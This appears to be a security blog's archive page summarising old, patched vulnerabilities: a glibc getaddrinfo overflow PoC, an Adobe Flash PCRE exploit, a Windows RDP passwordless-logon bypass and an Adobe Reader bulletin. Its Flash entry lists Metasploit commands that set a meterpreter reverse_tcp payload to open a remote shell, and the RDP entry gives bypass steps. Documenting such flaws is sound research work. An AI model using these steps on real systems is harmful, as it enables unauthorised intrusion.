All posts by wow

CVE-2015-7547 glibc getaddrinfo stack-based buffer overflow PoC

Exploits,

Timeline :

Vulnerability introduced in May 2008 as part of glibc 2.9
Vulnerability discovered and reported to the vendor by Robert Holiday the 2015-07-13
Vulnerability fixing in sleep mode from 2015-08-22 to 2016-02
Vulnerability re-discovered and reported to the vendor by Google team the beginning of 2016
Patch provided the 2016-02-16
Details of the vulnerability and PoC provided by Google the 2016-02-16

PoC provided by :

Robert Holiday
Fermin J. Serna
Gynvael Coldwind
Thomas Garnier

Reference(s) :

CVE-2015-7547

Affected version(s) :

All versions of glibc 2.9 until version 2.23

Tested on :

Ubuntu 15.10 with glibc 2.21

Description :

A stack-based buffer overflow was found in libresolv when invoked from libnss_dns, allowing specially crafted DNS responses to seize control of execution flow in the DNS client.  The buffer overflow occurs in the functions send_dg (send datagram) and send_vc (send TCP) for the NSS module libnss_dns.so.2 when calling getaddrinfo with AF_UNSPEC family. The use of AF_UNSPEC triggers the low-level resolver code to send out two parallel queries for A and AAAA.  A mismanagement of the buffers used for those queries could result in the response of a query writing beyond the alloca allocated buffer created by_nss_dns_gethostbyname4_r.  Buffer management is simplified to remove the overflow.  Thanks to the Google Security Team and Red Hat for reporting the security impact of this issue, and Robert Holiday of Ciena for reporting the related bug 18665. (CVE-2015-7547)

Commands :

aptitude show libc6
cat /etc/lsb-release
change you resolv.conf to 127.0.0.1
make
Start the server: python CVE-2015-7547-poc.py 
Launch the client: ./CVE-2015-7547-client

CVE-2015-0318 Adobe Flash Player PCRE Regex Vulnerability

Exploits, Metasploit, , ,

Timeline :

Vulnerability discovered and reported to the vendor by Mark Brand and Natalie Silvanovich of Google Project Zero the 2014-11-25
Patched by the vendor through APSB15-04 the 2015-02-05
Details of the vulnerability provided by Google Project Zero the 2015-02-12

PoC provided by :

Mark Brand
sinn3r

Reference(s) :

CVE-2015-0318
APSB15-04

Affected version(s) :

Adobe Flash Player 16.0.0.296 and earlier versions

Tested on :

Windows 7 SP1 with Internet Explorer 8 and Adobe Flash Player 16.0.0.235

Description :

This module exploits a vulnerability found in Adobe Flash Player. A compilation logic error in the PCRE engine, specifically in the handling of the \c escape sequence when followed by a multi-byte UTF8 character, allows arbitrary execution of PCRE bytecode.

Commands :

use exploit/windows/browser/adobe_flash_pcre
set SRVHOST 192.168.6.138
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.6.138
run

getuid

MS16-007 CVE-2016-0019 Windows RDP Security Bypass

Exploits, , , ,

Timeline :

Vulnerability discovered and reported to the vendor by Gal Goldshtein and Viktor Minin of Citadel
Patched by the vendor through MS16-007 the 2016-01-12
Details of the vulnerability provided by Michael Schierl @mihi42 the 2016-01-12

PoC provided by :

Michael Schierl

Reference(s) :

CVE-2016-0019
MS16-007

Affected version(s) :

Windows 10 for 32-bit Systems
Windows 10 for x64-based Systems
Windows 10 version 1511 for 32-bit Systems
Windows 10 version 1511 for x64-based Systems

Tested on :

Windows 10 for x64-based Systems with Microsoft Remote Desktop for Mac version 8.0.26

Description :

A security feature bypass vulnerability exists in Windows Remote Desktop Protocol (RDP) that is caused when Windows 10 hosts running RDP services fail to prevent remote logon to accounts that have no passwords set.

Demo :

- On the target Windows 10
Create a local user without password
Grant the created user RDP
- On the client
Add "enablecredsspsupport:i:0" in the ".RDP" file
Connect to the target with the username and without password

APSB16-02 – Adobe Acrobat and Reader Security Bulletin Review

Vulnerability Management, , ,

Adobe has release, the January 12th 2016, during his January Patch Tuesday, one Adobe Acrobat and Reader security bulletin dealing with 17 vulnerabilities. This security bulletin has a Critical severity rating.

APSB16-02 is concerning:

  • Acrobat DC 15.009.20077 and earlier versions on Windows and Macintosh
  • Acrobat Reader DC 15.009.20077 and earlier versions on Windows and Macintosh
  • Acrobat DC 15.006.30097 and earlier versions on Windows and Macintosh
  • Acrobat Reader DC 15.006.30097 and earlier versions on Windows and Macintosh
  • Acrobat XI 11.0.13 and earlier versions on Windows and Macintosh
  • Reader XI 11.0.13 and earlier versions on Windows and Macintosh